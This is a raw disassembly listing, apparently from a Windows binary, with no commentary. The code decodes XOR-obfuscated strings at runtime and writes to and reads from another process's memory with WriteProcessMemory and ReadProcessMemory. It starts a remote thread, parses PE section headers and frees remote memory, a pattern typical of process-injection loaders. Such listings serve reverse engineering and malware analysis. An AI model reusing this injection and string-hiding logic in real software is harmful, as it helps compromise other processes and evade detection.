movdqa xmm9, xmmword [0x1402ad0a0]
mov edx, ebx
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, edx
lea eax, [rdx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, r8d
add edx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp edx, 0x10
jl 0x140274f70
jmp 0x140275190
lea r10, [rsp + 0x50]
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x10
jl 0x140275140
lea rcx, [rsp + 0x50]
call fcn.140202680
mov rax, qword [rbp - 0x48]
xor r8d, r8d
mov r9, qword [rbp - 0x40]
xor edx, edx
mov qword [rsp + 0x30], rbx
mov rcx, r13
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1402754bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x1402ac658]
mov r10d, eax
mov dword [rbp - 0x80], ecx
movzx ecx, byte [0x1402ac65c]
mov byte [rbp - 0x7c], cl
movups xmm0, xmmword [0x1402ac640]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402ac650]
movsd qword [rsp + 0x78], xmm0
cmp esi, 2
jl 0x14027541e
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140275260
cmp eax, 0x1d
jge 0x14027547a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x1d
jl 0x140275430
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.140202680
mov rdx, rdi
xor r8d, r8d
mov r9d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp - 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp - 0x40]
jmp 0x140273d6b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1402ac7b8]
mov r9d, ebx
mov dword [rbp - 0x70], eax
movzx eax, word [0x1402ac7bc]
mov word [rbp - 0x6c], ax
movups xmm0, xmmword [0x1402ac790]
movups xmm1, xmmword [0x1402ac7a0]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402ac7b0]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp esi, 2
jl 0x140275721
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x28
jl 0x140275560
cmp r9d, 0x2e
jge 0x140275780
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x2e
jl 0x140275730
mov rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x68]
call fcn.140202680
nop
lea rdx, [rbp + 0x50]
mov dword [rbp + 0x50], ebx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r10d, dword [rbp + 0x50]
cmp r10d, 0x103
jne 0x1402778fd
mov rdx, qword [rbp - 0x48]
lea r8, [rbp + 0x10]
xorps xmm0, xmm0
mov qword [rsp + 0x20], rbx
mov r9d, 0x40
mov rcx, r13
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdi, qword [rbp + 0x30]
cmp rdi, 0x404040
je 0x14027764b
cmp rdi, 0x505050
jne 0x140275aaa
mov eax, dword [0x1402ac8f8]
mov r9d, ebx
mov dword [rbp - 0x78], eax
movups xmm0, xmmword [0x1402ac8d8]
movups xmm1, xmmword [0x1402ac8e8]
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp esi, 2
jl 0x140275a41
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x20
jl 0x140275880
cmp r9d, 0x24
jge 0x140275aa0
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x24
jl 0x140275a50
lea rcx, [rsp + 0x68]
call fcn.140202680
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rdi, rdi
je 0x140275790
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x50], rax
mov rdi, rax
test rax, rax
jne 0x140275d89
movzx eax, word [0x1402ac820]
mov word [rbp - 0x80], ax
movzx eax, byte [0x1402ac822]
mov byte [rbp - 0x7e], al
movups xmm0, xmmword [0x1402ac808]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402ac818]
movsd qword [rsp + 0x78], xmm0
cmp esi, 2
jl 0x140275d21
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140275b63
cmp eax, 0x1b
jge 0x140275d7a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x1b
jl 0x140275d30
lea rcx, [rsp + 0x68]
call fcn.140202680
jmp 0x140277b97
xor edx, edx
mov r8d, 0x1400000
mov rcx, rdi
call fcn.14027df58
mov rdx, qword [rbp - 0x50]
mov r9d, 0x1000
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14027608a
cmp byte [0x1402ac5cd], bl
movups xmm0, xmmword [0x1402ac5b0]
mov eax, dword [0x1402ac5c8]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1402ac5cc]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], ax
movsd xmm0, qword [0x1402ac5c0]
movsd qword [rsp + 0x78], xmm0
je 0x140276080
mov r9d, ebx
cmp esi, 2
jl 0x140276021
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x18
jl 0x140275e60
cmp r9d, 0x1e
jge 0x140276080
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x1e
jl 0x140276030
lea rcx, [rsp + 0x68]
call fcn.140202680
mov rcx, qword [rbp - 0x38]
mov dword [rbp + 0x50], ebx
movzx eax, word [rcx + 0x14]
lea rdi, [rcx + 0x18]
movzx ecx, word [rcx + 6]
add rdi, rax
test cx, cx
je 0x14027678d
movzx r9d, word [0x1402ac78c]
mov ecx, ebx
mov r11d, dword [str.o165K]
movzx esi, byte [0x1402ac58a]
movzx r10d, word [0x1402ac588]
nop dword [rax]
cmp dword [rdi + 8], ebx
je 0x140276771
mov dword [rbp - 0x60], r11d
lea r8, [rbp - 0x60]
xor byte [rbp - 0x5f], 0x43
movzx eax, r9b
xor byte [rbp - 0x5e], 0x45
xor al, 0x49
xor byte [rbp - 0x5d], 0x47
mov word [rbp - 0x5c], r9w
xor byte [rbp - 0x5b], 0x4b
mov byte [rbp - 0x5c], al
sub r8, rdi
mov rax, rdi
mov byte [rbp - 0x60], 0x2e
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140276123
inc rax
test ecx, ecx
jne 0x140276110
test edx, edx
je 0x14027618b
mov eax, dword [str.o1__M]
lea r8, [rbp - 0x58]
mov dword [rbp - 0x58], eax
movzx ecx, sil
xor byte [rbp - 0x57], 0x43
movzx eax, r10b
xor byte [rbp - 0x56], 0x45
xor al, 0x49
xor byte [rbp - 0x55], 0x47
xor cl, 0x4d
mov word [rbp - 0x54], r10w
